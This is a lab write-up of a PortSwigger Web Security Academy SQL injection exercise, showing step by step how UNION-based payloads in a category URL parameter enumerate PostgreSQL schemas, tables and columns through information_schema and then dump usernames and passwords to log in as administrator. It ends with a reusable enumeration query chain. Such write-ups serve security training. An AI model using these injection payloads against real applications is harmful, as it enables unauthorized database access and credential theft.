SQL Injection UNION Attack — Listing Database Contents (Non-Oracle)

Field	Value
Platform	PortSwigger Web Security Academy
Vulnerability	SQL Injection — UNION Attack
Difficulty	Practitioner
Injection Point	category URL parameter
Goal	Enumerate tables and columns via information_schema, retrieve credentials, log in as administrator

---

Phase 1 — Reconnaissance

The application displays blog posts filtered by category. Selecting Lifestyle changes the URL:

/filter?category=Lifestyle

The underlying query is likely:

SELECT title, body FROM post WHERE category = 'Lifestyle'

---

Phase 2 — Confirming Injection

Adding a single quote breaks the query and returns a 500 error:

/filter?category=Lifestyle'

SELECT title, body FROM post WHERE category = 'Lifestyle''

Injection confirmed.

---

Phase 3 — Enumerate Column Count

Using ORDER BY to determine the number of columns returned:

/filter?category=Lifestyle' ORDER BY 6 -- -

Error. Reducing to 2:

/filter?category=Lifestyle' ORDER BY 2 -- -

200 OK — the query returns exactly 2 columns.

---

Phase 4 — Test Column Data Types

Testing both columns with string placeholders:

/filter?category=Lifestyle' UNION SELECT 'test','test' -- -

The injected values test and test appeared on the page — both columns accept strings and reflect output in the response body. No FROM dual required, confirming this is a non-Oracle database.

---

Phase 5 — Enumerate the Database Schema

Step 1 — List All Schemas

information_schema.schemata is a standard metadata table available in MySQL, PostgreSQL, and MSSQL. It contains one row per database schema:

/filter?category=Lifestyle' UNION SELECT 'test',schema_name from information_schema.schemata -- -

A schema named public was returned — the default schema in PostgreSQL.

Step 2 — List Tables in the public Schema

information_schema.tables exposes all tables. Filtering by table_schema = 'public' scopes it to the relevant schema:

/filter?category=Lifestyle' UNION SELECT 'test',table_name from information_schema.tables where table_schema='public' -- -

A table named users_wlbufz was returned — a randomized suffix is common in PortSwigger labs to prevent hardcoded solutions.

Step 3 — List Columns in users_wlbufz

information_schema.columns exposes all column definitions. Filtering by both table_schema and table_name narrows the results:

/filter?category=Lifestyle' UNION SELECT 'test',column_name from information_schema.columns where table_schema='public' and table_name='users_wlbufz' -- -

Two columns were returned: username_dtvkzl and password_hngfxf.

---

Phase 6 — Retrieve All Credentials

With the exact table and column names confirmed, querying the credentials directly:

/filter?category=Lifestyle' UNION SELECT username_dtvkzl,password_hngfxf from public.users_wlbufz -- -

The administrator username and password were returned and rendered on the page. Logging in with those credentials solved the lab.

---

Conclusion

1. A single quote caused a 500 error, confirming injectable input.
2. ORDER BY enumeration confirmed 2 columns; UNION SELECT 'test','test' -- - succeeded without FROM dual, ruling out Oracle.
3. information_schema.schemata revealed the public schema (PostgreSQL default).
4. information_schema.tables filtered by table_schema='public' returned the target table users_wlbufz.
5. information_schema.columns filtered by table name returned the credential columns username_dtvkzl and password_hngfxf.
6. A direct UNION SELECT on public.users_wlbufz returned all credentials, including the administrator's password.

---

Key Concepts

information_schema as the universal enumeration path — MySQL, PostgreSQL, and MSSQL all support information_schema. The query chain is always the same: schemata → tables → columns → target table. Oracle does not support information_schema — use all_tables and all_columns instead.

Randomized table and column names — PortSwigger randomizes names like users_wlbufz to force the full enumeration workflow. In real engagements, table names are not known in advance either — this is why the information_schema chain matters.

Schema qualification — querying public.users_wlbufz instead of just users_wlbufz is explicit schema qualification. In PostgreSQL, the default search path often resolves unqualified names, but qualifying with the schema is safer and unambiguous — especially when the same table name exists in multiple schemas.

information_schema enumeration chain (non-Oracle):

-- 1. List schemas
SELECT schema_name FROM information_schema.schemata

-- 2. List tables in a schema
SELECT table_name FROM information_schema.tables WHERE table_schema = 'public'

-- 3. List columns in a table
SELECT column_name FROM information_schema.columns WHERE table_schema = 'public' AND table_name = 'target_table'

-- 4. Dump the target table
SELECT col1, col2 FROM schema.target_table